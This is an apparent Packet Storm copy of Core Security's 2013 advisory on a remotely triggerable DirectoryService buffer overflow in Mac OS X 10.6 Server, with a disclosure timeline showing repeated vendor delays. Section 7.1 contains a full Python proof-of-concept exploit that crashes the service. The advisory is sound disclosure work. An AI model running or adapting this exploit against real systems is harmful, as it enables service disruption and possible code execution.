Lucene search

K
packetstormCore Security TechnologiesPACKETSTORM:121887
HistoryJun 05, 2013 - 12:00 a.m.

Mac OSX Server DirectoryService Buffer Overflow

2013-06-0500:00:00
Core Security Technologies
packetstormsecurity.com
36

0.035 Low

EPSS

Percentile

90.5%

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
Mac OSX Server DirectoryService buffer overflow  
  
  
1. *Advisory Information*  
  
Title: Mac OSX Server DirectoryService buffer overflow  
Advisory ID: CORE-2013-0103  
Advisory URL:  
http://www.coresecurity.com/advisories/mac-osx-server-directoryservice-buffer-overflow  
Date published: 2013-06-04  
Date of last update: 2013-06-04  
Vendors contacted: Apple  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: Buffer overflow [CWE-119]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2013-0984  
  
  
3. *Vulnerability Description*  
  
A memory corruption vulnerability was found in Mac OSX Directory  
Service. By sending a maliciously crafted message, a remote attacker  
could cause the directory server to terminate or execute arbitrary code  
with system privileges. The issue existed in the directory server's  
handling of messages from the network.  
  
  
4. *Vulnerable Packages*  
  
. Mac OS X 10.6.8 Server (x86_64)  
. Mac OS X 10.6.7 Server (x86_64)  
. Mac OS X 10.6.6 Server (x86_64)  
. Mac OS X 10.6.5 Server (x86_64)  
. Mac OS X 10.6.4 Server (x86_64)  
. Mac OS X 10.6.3 Server (x86_64)  
. Mac OS X 10.6.2 Server (x86_64)  
. Mac OS X 10.6.1 Server (x86_64)  
. Mac OS X 10.6.0 Server (x86_64)  
. Other versions are probably affected too, but they were not checked.  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
. Apple security updates are available via the Software Update  
mechanism: http://support.apple.com/kb/HT1338.  
. Apple security updates are also available for manual download via:  
http://www.apple.com/support/downloads.  
. For further information regarding this issue visit:  
http://support.apple.com/kb/HT1222.  
. Vendor also notifies that this issue does not affect OS X Lion or  
OS X Mountain Lion systems.  
  
  
6. *Credits*  
  
This vulnerability was discovered and researched by Nicolas Economou.  
The publication of this advisory was coordinated by Fernando Miranda  
from Core Advisories Team.  
  
  
7. *Technical Description / Proof of Concept Code*  
  
The bug is located in the function 'DSTCPEndpoint::AllocFromProxyStruct'  
from 'DSTCPEndpoint.cpp'[1]. An attacker can control both the value of  
'inProxyDataMsg->fDataSize' and the data that will be copied. Thus, by  
sending a huge amount of data and a small buffer size, the service will  
crash trying to access an unmapped memory block.  
  
  
7.1. *Proof of Concept*  
  
Before running the PoC, make sure you meet the following prerequisites:  
  
1. The PyCrypto toolkit [2] has to be installed.  
2. The IP address and port (hardcoded at the end of the file) have to  
point to your server.  
3. The PoC was tested against a Mac OSX Server 10.6.8 with the last  
security patch installed [3].  
  
/-----  
from Crypto.Cipher import AES  
import socket  
import struct  
import time  
  
def send_packet(sock, data):  
packet = ""  
packet += "DSPX"  
packet += struct.pack(">I", len(data))  
packet += data  
sock.send(packet)  
  
  
def get_crypted_data(shared_key, data):  
cipher = AES.new(shared_key, AES.MODE_CBC, "\x00" * 16)  
crypted_data = cipher.encrypt(data)  
return crypted_data  
  
  
def attack(ip, port):  
try:  
p = socket.socket()  
p.connect((ip, port))  
except Exception, e:  
print e  
return  
data = ""  
data += "DHN2"  
data += "\x00" * 63 + "\x02" # Key that generates a DERIVED KEY,  
identical to the one received.  
# Packet 1  
print ("\nSending my public key ...")  
send_packet(p, data)  
resp = p.recv(65536)  
# Key sent by server.  
key_sent = resp[8: len(resp) - 1]  
server_key = ""  
# Flip the number.  
for i in range(len(key_sent) - 1, -1, -1):  
server_key += key_sent[i]  
# String to (a huge) number conversion.  
big_number = ""  
for c in server_key:  
big_number += "%.2x" % ord(c)  
big_number = int(big_number, 16)  
prime = 2 ** 128  
# Obtaining the SHARED KEY (To be use for AES encryption).  
derived_key = pow(big_number, 1, prime)  
magic_number = derived_key  
derived_key_string = ""  
# Transform key into a string.  
while magic_number != 0:  
resto = magic_number % 256  
magic_number /= 256  
derived_key_string += struct.pack("B", resto)[0]  
print "shared key: %s" % repr(derived_key_string)  
# Handshake.  
print "Sending the Handshaking"  
data = "A" * 4 + ("\x0c" * 12)  
crypted_data = get_crypted_data(derived_key_string, data)  
send_packet(p, crypted_data)  
resp = p.recv(65536)  
data = ""  
data += "A" * 0x1b  
data += "\x02"  
data += struct.pack("<I", 0x10000000) # Evil value.  
data += struct.pack("<I", 0x100) # Value to be used by  
the last patched version.  
data += "A" * ( 0x34 - len(data) )  
data += struct.pack(">I", 0x1172 + 1) # Operation code.  
data += struct.pack(">I", 0x99999999)  
data += struct.pack(">I", 0x80808080)  
data += struct.pack(">I", 0x81818181)  
data += struct.pack(">I", 0x66666666)  
data += "B" * (0xe0 - len(  
data)) # Bypass in previous Mac OSX versions ( Integer  
underflow -> ( ( 0xe0 + 0x10 ) - 0x100 )  
data += "\x00" * 16  
crypted_data = get_crypted_data(derived_key_string, data)  
# TRIGGER  
print ( "Sending the evil packet" )  
send_packet(p, crypted_data)  
p.settimeout(10)  
try:  
p.recv(65536)  
except Exception, e:  
print e  
p.close()  
try:  
print ( "\nwaiting 10 seconds for check ..." )  
time.sleep(10)  
p = socket.socket()  
p.settimeout(10)  
p.connect(( ip, port ))  
except Exception:  
print ( "\nThe attack was successful !\n" )  
return  
print ( "\nThe attack wasn't successful\n" )  
return  
  
  
ip = "192.168.100.1"  
port = 625  
attack(ip, port)  
  
-----/  
  
  
8. *Report Timeline*  
  
. 2013-01-09:  
Core Security Technologies notifies Apple Product Security of the  
vulnerability and sends technical details and a PoC to reproduce the  
issue. Publication date is set for Feb 19th, 2013.  
  
. 2013-01-10:  
Apple Product Security acknowledges reception of the advisory (id  
250731893 assigned).  
  
. 2013-02-01:  
Core asks Apple Product Security if they were able to reproduce the  
issue and requests a status update.  
  
. 2013-02-05:  
The Apple Product Security team notifies that they were able to  
reproduce the issue and asks to delay the advisory publication until  
they were able to ship a security update.  
  
. 2013-02-19:  
First release date missed.  
  
. 2013-02-25:  
Core notifies that release dates can be re-scheduled based on concrete  
and detailed information about vendor plans to produce a fix, but Core  
has not received that information from Apple yet.  
  
. 2013-02-28:  
Vendor notifies that they are still working on fixing the issue and the  
current best estimate for releasing a patch is late April.  
  
. 2013-03-05:  
Core re-schedules the advisory publication for April 30th and asks for  
detailed technical information.  
  
. 2013-03-08:  
Vendor notifies that the issue affects Mac OS X Snow Leopard Server  
only. Code execution may theoretically be possible but Apple Product  
Security team was not able to do so.  
  
. 2013-04-22:  
Core asks for a status update.  
  
. 2013-04-24:  
Vendor estimates that they will address this issue in early May.  
  
. 2013-04-30:  
Second release date missed.  
  
. 2013-04-30:  
Core notifies that the second release date was missed and that the  
advisory publication can be re-scheduled if Apple provides enough  
feedback and technical information for justifying that decision: 1. For  
what reasons Apple was not able to release the update at the end of  
April as planned? 2. What is the status of next security update? 3. What  
is the new tentative release date? 4. Is a patch available for test it?  
  
. 2013-05-02:  
Vendor notifies that the reported issue is addressed in the upcoming  
security update for Mac OS X Snow Leopard, targeted for mid-May.  
  
. 2013-05-02:  
Core re-schedules the advisory publication for May 14th.  
  
. 2013-05-02:  
Vendor sends an invitation to join in to the Apple Software Customer  
Seeding program [4] for pre-release access to builds of this security  
update.  
  
. 2013-05-07:  
Third release date missed.  
  
. 2013-05-13:  
Core asks if the tentative release date of Mid May still stands.  
  
. 2013-05-14:  
Fourth release date missed.  
  
. 2013-05-15:  
Vendor notifies that the upcoming update addresses a considerable number  
of security issues and the release has to be postponed. Vendor notifies  
they will communicate a tentative release days in the next few days.  
  
. 2013-05-27:  
Core asks for a release date and notifies that the advisory was  
re-scheduled for Jun 6th; this date should be considered final unless  
vendor provides a clear timeline to justify keep delaying the release.  
  
. 2013-05-29:  
Vendor notifies that they are still waiting a confirmation from CORE  
Security that the update they seeded [2013-05-02] addresses the reported  
issue.  
  
. 2013-05-29:  
Core notifies that being part of Apple beta test program was never  
requested and asks for a CVE number and a confirmed release date.  
  
. 2013-05-30:  
Vendor notifies that the invitation to the Apple Software Customer  
Seeding [4] was sent because Core requested a patch for testing on  
[2013-04-30]. Vendor asks if Core has already completed the patch  
testing process.  
  
. 2013-05-30:  
Core notifies that it was not possible to download the patch from the  
location provided by Apple and no more time nor resources can be spent  
on this case. Core also notified that this case was reported 5 months  
ago and 4 release dates were missed: Feb 19th, late April, early May and  
mid-May. Additionally, in the last weeks Core asked for a release date  
several times but did not receive any answer. For those reasons, Core  
confirms the release date of Jun 6th.  
  
. 2013-05-31:  
Vendor notifies that the security update is on track for releasing next  
week and assigns CVE-2013-0984 for this issue. Vendor changes the  
vulnerability impact from DoS to code-execution.  
  
. 2013-06-04:  
Vendor notifies that the security update was released.  
  
. 2013-06-04:  
Advisory CORE-2013-0103 released.  
  
  
9. *References*  
  
[1]  
http://opensource.apple.com/source/DirectoryService/DirectoryService-621/Proxy/DSTCPEndpoint.cpp  
[2] https://www.dlitz.net/software/pycrypto/  
[3] http://support.apple.com/kb/HT5501 - DirectoryService  
[4] https://appleseed.apple.com  
  
  
10. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://corelabs.coresecurity.com.  
  
  
11. *About Core Security Technologies*  
  
Core Security Technologies enables organizations to get ahead of threats  
with security test and measurement solutions that continuously identify  
and demonstrate real-world exposures to their most critical assets. Our  
customers can gain real visibility into their security standing, real  
validation of their security controls, and real metrics to more  
effectively secure their organizations.  
  
Core Security's software solutions build on over a decade of trusted  
research and leading-edge threat expertise from the company's Security  
Consulting Services, CoreLabs and Engineering groups. Core Security  
Technologies can be reached at +1 (617) 399-6980 or on the Web at:  
http://www.coresecurity.com.  
  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2012 Core Security  
Technologies and (c) 2012 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
`